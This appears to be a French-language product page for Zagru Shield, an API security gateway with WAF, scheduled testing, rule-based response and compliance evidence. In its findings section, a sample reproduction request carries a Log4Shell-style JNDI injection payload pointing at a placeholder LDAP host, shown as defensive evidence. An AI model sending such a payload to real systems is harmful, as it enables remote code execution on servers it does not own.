Aller au contenu
Zagru

Zagru ShieldSécurité des API, tests et réponse

Vos API, protégées par les règles que vous choisissez.

Shield place devant vos API une passerelle qui ne laisse passer que les requêtes valides et autorisées, les teste en continu comme le ferait un attaquant et, quand un problème grave apparaît, agit exactement comme vous l’avez décidé à l’avance.

Demander une démoComment Shield réagit

Trois missions, un seul produit

  1. 1PasserelleSeules les requêtes valides et autorisées atteignent vos API.
  2. 2Tests continusVos API et vos systèmes, testés comme le ferait un attaquant — selon un calendrier.
  3. 3Réponse selon vos règlesFermer une route, demander à un administrateur ou simplement notifier — décidé à l’avance.

Passerelle

Seules les requêtes valides et autorisées passent.

Shield Gateway s’exécute devant chaque API — exploitée par Zagru ou à l’intérieur de votre propre réseau. Elle repose sur Envoy, la même technologie et les mêmes lots de politiques signés que ceux qui protègent les propres produits de Zagru, et continue de fonctionner avec sa dernière politique vérifiée si le plan de contrôle est injoignable.

  • Votre OpenAPI, appliquée

    Les requêtes qui ne respectent pas le schéma de la route n’atteignent jamais votre service.

  • Qui appelle

    JWT et OIDC, clés d’API et mTLS vérifiés en bordure.

  • Des limites adaptées

    Limites de débit par clé, par adresse et par route ; limites de taille et de méthode des requêtes.

  • Un WAF avec les règles OWASP

    Coraza avec l’OWASP Core Rule Set, avec un niveau de paranoïa par API ; contrôle des bots et listes d’autorisation ou de blocage par IP et par pays.

  • Observer d’abord, appliquer ensuite

    Chaque règle démarre en mode observation : vous voyez ce qu’elle bloquerait avant qu’elle ne bloque quoi que ce soit.

  • Seulement des métadonnées, jamais de corps

    Shield apprend à partir des métadonnées des requêtes ; les corps des requêtes et des réponses ne sont pas stockés.

Pourquoi cette requête a-t-elle été bloquée ?

Chaque requête bloquée laisse une trace : la règle, la partie de la requête qui correspond et l’identifiant de la requête. Zagru Sense peut l’expliquer en langage clair.

Requête
POST /v2/orders · req 7f3c9a
Règle
Schéma OpenAPI · /v2/orders
Correspondance
body.quantity: "-5" n’est pas un entier ≥ 1
Mode
Application (observée pendant 7 jours, 0 faux positif)

Inventaire et posture

Toutes vos API — y compris celles que personne n’a recensées.

Shield construit votre inventaire d’API à partir des imports OpenAPI, du trafic de la passerelle, du Zagru Agent et de la découverte DNS et de certificats sur vos domaines vérifiés.

  • API fantômes Vues dans le trafic, mais déclarées nulle part.
  • API zombies Obsolètes ou retirées sur le papier, mais qui répondent encore.
  • Dérive de schéma Ce que l’API fait réellement, comparé à ce que dit son OpenAPI.

Score de posture

Par API et pour toute l’organisation : authentification, couverture du schéma, constats ouverts, ancienneté du dernier test, mode du WAF — avec les actions qui l’améliorent.

  • Activer l’application du schéma pour /v2/orders+6 points
  • Passer le WAF de carrier-api en mode application+4 points
  • Retester partner-api — dernier test il y a 19 jours+3 points

Envie de voir Shield devant l’une de vos propres API ?

Demander une démo

Tests continus

Testé comme le ferait un attaquant. Seulement là où vous y êtes autorisé.

Shield teste les API qu’il protège et toute autre cible dont vous prouvez qu’elle est à vous, selon le calendrier que vous fixez, et transforme chaque résultat en constat.

Prouvez d’abord qu’elle est à vous

Noms publics : un enregistrement DNS TXT ou un fichier sous /.well-known.

_zagru-verify.api.example.com.  TXT
  "zagru-verification=8f2c1e9b"

Réseaux internes : le Zagru Agent et un périmètre signé par un administrateur de votre organisation. Les hôtes hors périmètre ne sont jamais touchés.

Ce qui s’exécute

  • OWASP ZAPTests dynamiques, y compris des analyses authentifiées
  • SchemathesisFuzzing par propriétés à partir de votre OpenAPI
  • NucleiCVE connues et erreurs de configuration
  • Contrôles TLSProtocoles, suites de chiffrement et certificats
  • DécouverteDécouverte du réseau et des services, uniquement dans le périmètre signé

  • Votre chaîne d’approvisionnement aussi

    Un SBOM CycloneDX fourni par l’agent ou téléversé par vous, rapproché d’OSV, de GitHub Advisory, de NVD et du catalogue CISA KEV, avec les scores EPSS. Les réponses et les dépôts connectés sont analysés à la recherche de secrets divulgués.

  • Selon votre calendrier

    Tous les jours, toutes les semaines ou à chaque déploiement. Les limites de débit et les plages horaires viennent du périmètre. Le mode sûr écarte les contrôles destructifs, sauf si un administrateur les active pour une cible de préproduction.

  • Au plus près de la cible

    Les cibles publiques sont testées depuis des exécuteurs hébergés par Zagru ; les cibles internes depuis l’agent, à l’intérieur de votre réseau.

Constats et priorité

Chaque résultat classé, avec un délai.

Chaque constat est évalué avec CVSS, EPSS, le catalogue KEV, l’exposition de l’API et son importance pour votre activité, puis classé dans l’une des quatre priorités avec un délai de correction que vous pouvez ajuster.

  • P124 heures
  • P27 jours
  • P330 jours
  • P490 jours

La vue des constats regroupe par priorité, API, classe et ancienneté, montre la tendance et ce qui approche de son échéance.

Requête de reproduction

POST /v2/imports HTTP/1.1
Host: api.example.com
Authorization: Bearer ••••••••••••
Content-Type: application/json

{"template": "${jndi:ldap://203.0.113.9/a}"}

Les preuves comprennent la requête qui reproduit le problème, avec les secrets masqués.

Réponse selon vos règles

Vous décidez à l’avance. Shield fait exactement cela.

Quand un problème grave est détecté, Shield suit une table de décision que vous avez choisie : le type de problème, sa gravité et l’importance de l’API déterminent si Shield agit seul, demande à un administrateur ou vous prévient simplement. Les règles sont déterministes, versionnées et identiques à chaque fois ; l’IA ne décide jamais d’un blocage.

Choisissez un profil — ou écrivez votre propre table

  • Strict

    Par défaut

    Ferme sans attendre ce qui est urgent et ouvert sur Internet. Vous consulte pour le reste.

    • AutomatiqueUrgent et accessible depuis Internet (par exemple exécution de code à distance ou exposition de données) : la route concernée se ferme automatiquement, ou un correctif virtuel testé est appliqué.
    • AutomatiqueAttaque en cours : les adresses à l’origine de l’attaque sont bloquées et les limites resserrées, automatiquement.
    • Demande d’abordUrgent ailleurs, ou critique : Shield propose l’action et attend un administrateur.
    • NotifieÉlevé et en dessous : vous êtes notifié.

  • Flexible

    Plus automatique

    Agit seul dès la gravité élevée, pour que moins de choses attendent une personne.

    • AutomatiqueUrgent ou critique : un correctif virtuel est appliqué automatiquement, ou la route se ferme.
    • AutomatiqueÉlevé et accessible depuis Internet : un correctif virtuel ou une limite de débit plus stricte, automatiquement.
    • AutomatiqueAttaque en cours : les adresses à l’origine de l’attaque sont bloquées, automatiquement.
    • Demande d’abordÉlevé ailleurs : Shield demande à un administrateur. Tout le reste : vous êtes notifié.

  • Notification seule

    Sans intervention

    Shield ne modifie jamais le trafic de lui-même. Chaque constat devient une notification et une proposition.

    • NotifieChaque règle se limite à notifier. Vous appliquez vous-même toute action, en un clic.

  • Des choix par API

    Donnez à une API un autre profil ou sa propre table avec les mêmes colonnes.

  • Garde-fou pour les API vitales

    Une API marquée comme vitale n’est jamais fermée en entier automatiquement ; Shield demande d’abord.

  • Des routes, pas des API entières

    Les profils intégrés ferment la route concernée ; fermer une API entière exige une règle qui le dit.

  • Fenêtres de maintenance

    Pendant une fenêtre, les actions automatiques deviennent des demandes d’approbation.

Ce qui se passe ensuite

  1. 1Shield présente le planAvant toute action, chaque constat indique ce que Shield va faire et quelle règle correspond.
  2. 2Approbation par e-mail et dans l’applicationLes administrateurs et l’équipe de l’API reçoivent un e-mail ou une notification push ; le lien ouvre l’approbation après connexion.
  3. 3Publiée, avec une expirationL’action est publiée sur la passerelle sous forme de lot signé et expire au bout de 24 heures si elle n’est pas renouvelée.
  4. 4Annulation en un clicToute personne autorisée peut la lever immédiatement ; Shield la lève lui-même quand un nouveau test montre que la correction est en place.
  5. 5Tout est consignéChaque étape figure dans la piste d’audit : qui, quelle règle, quel lot.

Envie de voir Shield devant l’une de vos propres API ?

Demander une démo

Divulgation des vulnérabilités

Quand quelqu’un signale un problème, Shield se met au travail.

Publiez un contact sécurité — Shield génère votre /.well-known/security.txt — et un formulaire de divulgation. Un signalement, ou un nouvel avis qui correspond à votre SBOM, déclenche la même séquence rigoureuse.

# https://example.com/.well-known/security.txt
Contact: https://example.com/security/report
Contact: mailto:security@example.com
Expires: 2027-11-01T00:00:00Z
Policy: https://example.com/security/policy
Preferred-Languages: tr, en
  1. 1TriLe signalement devient un constat.
  2. 2PérimètreQuelles API et quelles versions sont concernées, d’après votre inventaire et votre SBOM.
  3. 3VérificationUn test ciblé le confirme.
  4. 4PriorisationL’évaluation fixe P1 à P4.
  5. 5RéponseVos règles s’appliquent — par exemple, avec le profil Strict, une exécution de code à distance urgente sur Internet ferme la route automatiquement.

Corrigé, retesté, levé.

  • Sur les produits Zagru

    Envoyez le constat à Zagru Platform. Quand la correction est déployée, Shield reteste et lève lui-même toute action temporaire.

  • Sur tout autre logiciel

    Un rapport clair, un ticket dans Jira, GitHub ou GitLab, et un nouveau test à chaque demande. Zagru ne modifie jamais un code qu’il n’exploite pas.

Preuves de conformité

Les preuves que demandent vos auditeurs, prêtes à exporter.

Calendriers et résultats des tests, couverture du WAF, rapidité de traitement des constats et piste d’audit complète — rattachés aux référentiels sur lesquels vous rendez compte, en PDF ou CSV. L’évaluation elle-même reste du ressort de vos auditeurs.

  • ISO 27001 Annexe A
  • Mesures techniques KVKK
  • PCI DSS 6.4 et 11.3
  • OWASP API Security Top 10
Dossier de preuves · T3
  • Calendrier et résultats des tests
  • Couverture du WAF par API
  • Délai de réponse, par priorité
  • Piste d’audit

Éditions

Exploitez Shield comme il vous convient.

  • Shield SaaS

    Zagru exploite la passerelle ; vous faites pointer votre DNS (CNAME) vers elle.

    Tarifé selon les API et le volume de requêtes

  • Shield Self-hosted

    Vous exploitez la passerelle avec Helm ou Docker, avec le Zagru Agent ; le plan de contrôle est dans le cloud de Zagru ou dans le vôtre.

    Tarifé selon les nœuds de passerelle et les API

  • Shield Scan

    Sans passerelle : tests continus, SBOM et constats uniquement.

    Tarifé selon les cibles vérifiées

Modules

  • Passerelle
  • WAF
  • Tests
  • SBOM
  • Découverte
  • Règles de réponse
  • Conformité

Shield et Zagru Pulse utilisent le même Zagru Agent. Vous n’achetez que le produit dont vous avez besoin et ajoutez l’autre plus tard sans rien installer de nouveau.

Questions

Ce que nos clients nous demandent d'abord.

Shield se place-t-il sur le chemin des requêtes ?

La Shield Gateway, oui — c’est ainsi qu’elle ne laisse passer que les requêtes valides et autorisées. Elle fonctionne à partir d’une copie locale de sa dernière politique vérifiée, et continue donc de fonctionner même si le plan de contrôle est injoignable. Avec Shield Scan, il n’y a aucune passerelle.

Shield peut-il fermer l’une de nos API sans demander ?

Seulement si vos règles le prévoient. Vous choisissez un profil — Strict, Flexible ou Notification seule — ou écrivez votre propre table. Les profils intégrés ferment la route concernée plutôt que l’API entière, ne ferment jamais seuls une API vitale en entier, et chaque action automatique expire et peut être annulée en un clic.

L’IA décide-t-elle de ce qui est bloqué ?

Non. Chaque décision suit une table déterministe et versionnée et enregistre la règle qui correspond. L’IA peut aider à expliquer en langage clair un constat ou une requête bloquée.

Que peut tester Shield ?

Les API qu’il protège, et toute autre cible dont vous prouvez qu’elle est à vous : les noms publics avec un enregistrement DNS TXT ou un fichier well-known, les réseaux internes avec le Zagru Agent et un périmètre signé par votre administrateur. Rien en dehors du périmètre n’est touché.

Faut-il commencer en mode blocage ?

Non. Chaque règle démarre en mode observation : vous voyez ce qu’elle bloquerait. Vous la passez en application quand vous êtes à l’aise.

Shield nous rend-il conformes ?

Shield rassemble les preuves que demandent les auditeurs — résultats de tests, couverture du WAF, délais de réponse et piste d’audit — rattachées à ISO 27001 Annexe A, aux mesures techniques KVKK, à PCI DSS 6.4 et 11.3 et à l’OWASP API Top 10. L’évaluation elle-même reste du ressort de vos auditeurs.

Pouvons-nous l’exploiter nous-mêmes ?

Oui. Shield Self-hosted fait tourner la passerelle dans votre réseau avec Helm ou Docker, à côté du Zagru Agent ; le plan de contrôle peut se trouver dans le cloud de Zagru ou dans le vôtre.

Placez Shield devant une API et voyez la différence.

Parlez-nous de vos API ; nous démarrerons en mode observation et vous montrerons ce que Shield détecte et ce qu’il ferait.

  • 30 minutes avec l'équipe qui construit le produit
  • Une démo sur vos produits et vos flux
  • Sans engagement, sans pression commerciale
hello@zagru.com

Une démo avec vos propres données

Laissez vos coordonnées, nous revenons vers vous rapidement.

Envie d'en dire plus ? Ouvrir le formulaire complet

Demander une démo